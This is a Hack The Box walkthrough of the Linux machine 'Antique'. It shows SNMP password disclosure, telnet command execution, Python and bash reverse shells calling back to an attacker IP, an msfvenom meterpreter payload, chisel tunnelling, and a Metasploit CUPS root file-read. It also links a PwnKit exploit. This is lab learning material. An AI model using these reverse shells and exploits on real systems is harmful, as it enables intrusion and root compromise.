Antique is an easy Linux box created by MrR3boot on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where today I will be explaining how I hacked Antique. To complete this box you will need basic Linux and printer knowledge. Furthermore, we will be required to perform SNMP enumeration, network printer abuse, pivoting and CUPS administration exploitation. Please note that I have updated this write-up because I was unhappy with my original posting. I rushed through it and wanted to come back and revisit it with more details.
I spawned the box and then sent a ping to ensure it was online. Once the box responded, I ran a Nmap scan targeting all ports requesting service versions and running scripts. Below, you can see the results of the Nmap scan showing that only port 23 was open.
However, the response from the host suggests that the host is a printer. For that reason, I ran a UDP scan as I suspected SNMP might be configured. I restricted my UDP scan to the top ports and only requested service versions. As you can see below, SNMP was configured on the host.
┌──(kali㉿kali)-[~/HTB] └─$ sudo nmap -sU -sV 10.129.235.239
Next, I performed an SNMP walk using the default community string of public. Unfortunately, I got very limited results back. Below, you can see the response from the SNMP server only contained a single string.
┌──(kali㉿kali)-[~] └─$ snmpwalk -v 2c -c public 10.129.235.239
HP JetDirect SNMP Password Disclosure
After looking at the official walkthrough and performing a few google searches, I learnt that some models of HP JetDirect printers have an SNMP information disclosure vulnerability. For example, executing the command below will return a hexadecimal encoded string. Please refer to the following article >>HERE<< for more information.
I’ve done more research into this vulnerability but haven’t leant much more. Although, it does have a CVE designation of CVE-2002-1048 I struggled to find the original disclosure write-up. Most references pointed me to a ‘securityfocus.com’ URL that no longer resolves. It seems, for whatever reason that HP stored the password in an SNMP variable. Therefore, knowing the specific variable and requesting it returns the hexadecimal encoded password.
┌──(kali㉿kali)-[~] └─$ snmpwalk -v 2c -c public 10.129.235.239 .22.214.171.124.126.96.36.199.188.8.131.52.13.0
Furthermore, decoding this hexadecimal string will reveal the password. Below, you can see that I used CyberrChef and was able to decode the string to reveal the password of ‘P@ssw0rd@123!!123’.
However, I wasn’t happy with the way I originally decoded the password. Everyone else’s writeups used cool Python scripts to decode it but I’m not very good at Python. As a result, I sought out a different method and stumbled on the Hack The Box user Yep’s write-up. Yep decoded it using xxd which I thought was tidy so I copied them.
┌──(kali㉿kali)-[~] └─$ echo -n '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xxd -r -p P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i IY�aA�"1&1A5
I was now able to log in to the host via telnet. I used the telnet command followed by the IP address and port. Next, I hit the return key which prompted for a password. Finally, I submitted the password and received a prompt.
From the previous screenshot, you can see that I now had the ability to run commands. In fact, it appeared that I had the ability to execute system commands. For example, the image below shows that I was able to read the contents of the ‘/etc/passwd’ file. This proof of concept confirmed I had command execution.
Now that I had command execution, I should be able to send a reverse shell back to my host. I set up a netcat listener and tried a few different payloads from revshells.com. Despite my best efforts, typical bash shells weren’t working. The following Python reverse shell was executed (Thank you official walkthrough).
exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.34",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
The Python reverse shell came back and I was able to capture the user flag.
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 4444 [sudo] password for kali: listening on [any] 4444 ... connect to [10.10.14.34] from (UNKNOWN) [10.129.235.239] 60030 lp@antique:~$ cat /home/lp/user.txt cat /home/lp/user.txt 6f4▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓564
I wanted to revisit this section as I didn’t understand why typical reverse shells weren’t working. Below, you can see a working reverse shell command using bash. Before I get into it, I found the solution on 0xdf’s writeup. I realise that this is probably entry-level knowledge but I had to tell bash to execute bash. To explain, ‘exec’ gives us code execution, ‘bash -c’ executes the subsequent command string supplied in single quotes. The reverse shell is then supplied in single quotes. Unfortunately, I don’t understand why I couldn’t execute the payload without executing ‘bash -c’ first. Perhaps some bad characters broke up the command? Regardless, the reverse shell worked and connected back to my host.
exec bash -c 'bash -i >& /dev/tcp/10.10.14.34/4444 0>&1'
Antique Authenticated Host Enumeration
I wanted to revisit this section too as I rushed through it and didn’t explain it well in my original write-up. I dropped LinPEAS onto the host via a Python webserver and a ‘wget’ from the attack host. LinPEAS identified two CVEs, CVE-2021-4034 and CVE-2021-3560 both related to Polkit. These CVEs were unlikely the intended method to get root so I kept digging through the output. Eventually, I saw that port 631 was listening on 127.0.0.1. Below, you can see that port 23 (telnet) was listening on 0.0.0.0 which meant it was accessible publically. A service listening on 127.0.0.1 means it is only accessible locally.
Further enumeration of the Antique host (using netstat) confirmed that something was definitely listening internally on port 631. Further down in the writeup, you can see how I used wget to download the index page of the application. This allowed me to identify that it was CUPS (Common UNIX Printing System) web application. I suspected that I needed to access this page to progress through and capture the root flag. Unfortunately, SSH wasn’t listening on the box so I couldn’t perform port forwarding through SSH.
Tunneling With Chisel
Fortunately, there is a program called ‘chisel’ that can create a tunnel through to my host. I installed ‘Golang’ and then cloned and built ‘chisel’. next, I set ‘chisel’ up as a server on port 8000. It seems that I may have messed up here but keep reading.
┌──(kali㉿kali)-[/opt/chisel] └─$ sudo ./chisel server -p 8000 --reverse
Finally, I was set to go. I threw ‘chisel’ onto a web server, downloaded it, made it executable and…. error. To explain, the version of glibc I used to compile isn’t installed on the server. Therefore, the server didn’t know how to run it.
lp@antique:~$ ./chisel ./chisel ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel) ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel) lp@antique:~$ glibc version glibc version glibc: command not found
Retraction! Looking back now, I find this rather amusing. Tuennling with ‘chisel’ will work provided you know what you’re doing. During work, I went back and revisited IppSec’s video for Opensource (I think) and realised that he didn’t install it. I downloaded it directly from the releases pages, extracted it, made it executable and ran it. You can find the version I used here https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
With the correct version of ‘chisel’, I set up the server on port 9000.
┌──(kali㉿kali)-[~/HTB/Antique] └─$ ./chisel server -p 9000 --reverse
Then, after downloading the correct version of ‘chisel’ from my Python web server I was able to create a tunnel back to my host. This tunnel forwarded port 631 so that it was accessible on port 9631 on my local host.
lp@antique:~$ ./chisel client 10.10.14.34:9000 R:9631:localhost:631
I was then able to visit the CUPS web application by visiting HTTP://localhost:9631 in my browser. Thank you IppSec and 0xdf for keeping me honest.
Indented Privilege Escalation
The version of the CUPS application was 1.6.1 which has a vulnerability with the CVE designation CVE-2012-5519. This vulnerability affects versions of the application up to 1.6.2 and could allow attackers to read files with admin privileges. I’ve included the explanation below.
CUPS 1.4.4, when running in certain Linux distributions such as Debian GNU/Linux, stores the web interface administrator key in /var/run/cups/certs/0 using certain permissions, which allows local users in the lpadmin group to read or write arbitrary files as root by leveraging the web interface.
This is where I originally needed to pivot from the official walkthrough because I couldn’t get ‘chisel’ to work. As a result, I ran wget from the target host against that local listening port and downloaded the index.html page. After reading through the index page, I could see that it was a CUPS management portal.
According to the walkthrough that I’m now following, there is a vulnerability that will allow me to read files owned by root. Furthermore, there is a Metasploit module that will do it for me, which is good because I start work in 10 minutes. I quickly created a payload using msfvenom, threw it on my webserver and used wget to download it.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.34 LPORT=9001 --format elf > shell
Next, I set up the multi-handler within Metasploit and executed the payload on the target host. Sure enough, the shell came back and a Meterpreter session was created. After, I background the Meterpreter session and searched for CUPS. The result I needed was ‘cups_root_file_read’. I configured it to read the root.txt flag and set the session to my Meterpreter session.
Finally, I executed the exploit and it worked. It saved the output to my local host. I was able to read and submit the flag.
msf6 post(multi/escalate/cups_root_file_read) > run [!] SESSION may not be compatible with this module: [!] * incompatible session type: meterpreter [+] User in lpadmin group, continuing... [+] cupsctl binary found in $PATH [+] nc binary found in $PATH [*] Found CUPS 1.6.1 [+] File /root/root.txt (32 bytes) saved to /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt [*] Cleaning up... [*] Post module execution completed msf6 post(multi/escalate/cups_root_file_read) > cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt [*] exec: cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt 1e0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓6cc
Of course, I was unhappy with this, I captured the flag but didn’t have root access! Remember those CVEs I mentioned earlier? Let’s give one of them a go. The following Python script is a proof of concept that will exploit CVE-2021-4034 and elevate our privileges to root. https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py. I checked that Python was installed on the target, downloaded the file and executed it. I finally got root!
Now that I have revisited this box I have to update what I said previously. Antique is still a fun box! The foothold was fun and taught me about the HP JetDirect SNMP Password Disclosure vulnerability. I liked that SSH wasn’t listening on this box, it removed a safety net that I tend to rely on too much. Struggling with my bash reverse shell forced me to learn why it wasn’t working even though I had a perfectly good Python reverse shell. I’m happy that I followed up on that.
I forgot how to use ‘chisel’ even though I used it a few days ago. Consequently, that’s something I’ve learnt now that I won’t forget anytime soon. In my original review, I said that I was disappointed that the ‘chisel’ privilege escalation path didn’t work. However, I now know that ‘chisel’ wasn’t required for the privilege escalation so that no longer makes any sense. Using ‘chisel’ was a fun detour for enumerating more information about the host, nothing more. The method of capturing the root flag was fun but I would have preferred it if it could be used to get a shell as root. Perhaps there is and I just don’t know about it. However, finally achieving root access through CVE-2021-4034 means I can put this one to rest. Antique is a great box which I learnt a lot from. Thanks.